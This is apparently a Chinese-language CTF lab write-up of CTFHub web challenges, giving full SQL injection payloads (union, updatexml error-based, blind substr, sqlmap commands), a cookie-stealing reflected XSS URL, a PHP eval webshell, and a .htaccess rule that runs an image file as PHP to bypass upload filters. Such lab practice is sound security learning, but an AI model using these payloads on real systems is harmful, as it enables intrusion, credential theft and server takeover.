随着学习的不断深入,为了防止自己忘记之前所学的内容,于是我决定再不断的向下学习的同时做一些ctf的题来唤醒自己的记忆!!
我们一打开这个靶场就发现是一个phpinfo的页面,那么我便猜测这题的flag可能隐藏在phpinfo的这些信息中,或者是藏在页面源代码中。
于是乎,我先直接按下ctrl+f 进行查找关键词:ctfhub ,看看是否就隐藏在其中??

okok,发现了!!! 还是比较简单的。
探测列数量:
http://challenge-4580e5c9034a47f3.sandbox.ctfhub.com:10800/?id=1 order by 2 --
发现只有两列:

拿库:
id=-1 union select database(),user() --

拿表:
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' --

拿列:
?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag' --

拿数据:
?id=-1 union select *,2 from flag --

成功!! 目前来说这一关不难
探测列数量:
?id=1' order by 2 --
发现只有两列:

拿库:
id=-1' union select database(),user() --
在这里插入图片描述
拿表:
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' --

拿列:
?id=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag' --

拿数据:
?id=-1' union select *,2 from flag --

成功!! 和数字型一个样子。没意思!!
首先,我们先进行测试一下是否有闭合回路:
?id=1' --

很好,这里我们可以利用这个报错的提示,我们能够看出来,这里是由于我们输入多了一个’ 。因此,这里实际上就可以认为是整数型的注入。 不过既然这里有报错的提示,那么我们就可以利用报错注入进行测试:
以下主要利用的是updatexml函数进行报错的注入:
拿库:
?id=1 and updatexml(1,concat("~",database(),"~" ),1) --

拿表:
?id=1 and updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database()),"~" ),1) --

拿字段(列):
?id=1 and updatexml(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_name='flag'),"~" ),1) --

拿数据:
?id=1 and updatexml(1,concat("~",(select flag from flag),"~" ),1) --

在这个关卡中,我们可以很容易发现页面是上关于查询的正确与否是有明显区别于提示的:


因此,这里我们可以利用substr函数进行对查询的数据一个个进行爆破:
比如我们通过之前关卡可知的数据库为sqli,因此我们可以试着写入一个payload进行判断是否这一关数据库的开头也是s呢?
?id=1 and substr(database(),1,1)='s' --

若是不嫌麻烦,或者想要多试试看手工注入的话,那么大家可以自己一个个的数据去尝试,这里以下我将利用sqlmap进行跑数据了:
拿库:
python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" --current-db

拿表:
python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

拿列:
python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

这连类型都拿到了。。。
拿数据:
python3 sqlmap.py -u "http://challenge-a1eab89865a59abe.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump

我们现在第一个框中输入一些字符看看:

发现url出现了一个参数变量name,那么估计这里是用get方式进行提交的。然后,我估摸着这里应该可以进行XSS的反射性注入的,于是乎我们来输入一些脚本字符看看:
<script>alert(document.cookie)</script>

emmm,貌似做了一些限制,让我们看不到。
让我们接着看一下,发现这里下面还有一个输入框,而这个输入框貌似可以写入url进行发送?? 我们来把这里的测试url写入一下看看?
http://challenge-73aa0b6898696643.sandbox.ctfhub.com:10800/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

好像确实是可以读取url,并发送的。。。那么我们直接试试看利用xss平台能否成功?

写入下面语句到第二个输入框中
http://challenge-3d143cd40b77db06.sandbox.ctfhub.com:10800/?name=



首先打开页面,我们可以有一个很明显的上传按钮:

那么,我们直接试试看,写入一个简单的webshell:
@eval($_POST['cmd']);
?>
)
然后点击上传,可以看到这个页面直接返回了我们所需的路径:

然后就用蚁剑进行连接:

然后我们慢慢找一下,总会看见的,嘿嘿嘿:


成功成功!!!!
对于前端验证的限制来说,我们只需要把前端的JS禁用即可实现绕过:
直接利用拓展,禁用JS 即可:


然后直接使用蚁剑连接,在html目录下即可找到!!(余下的和前端验证里内容一致!)
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
然后,让我们来进行测试一下看看:
首先建立一个.htaccess文件:
这里解释一下.htaccess文件里这些代码的意思:FIleMatch 就是指文件匹配,只要匹配到Messi这个字符串,就会将该文件看作下述代码的里的文件。。 SetHandler application/x-httpd-php 意思是,将之前匹配到的文件直接当作php文件进行执行!!!
<FilesMatch "Messi">
SetHandler application/x-httpd-php
</FilesMatch>
然后,把这个文件进行上传:

由于有了上述的htaccess文件的配置规则,那么我们就可以通过将webshell文件的名字改为Messi.jpg进行上传以此达到绕过!!!

上传!

然后直接连接:


成功拿到!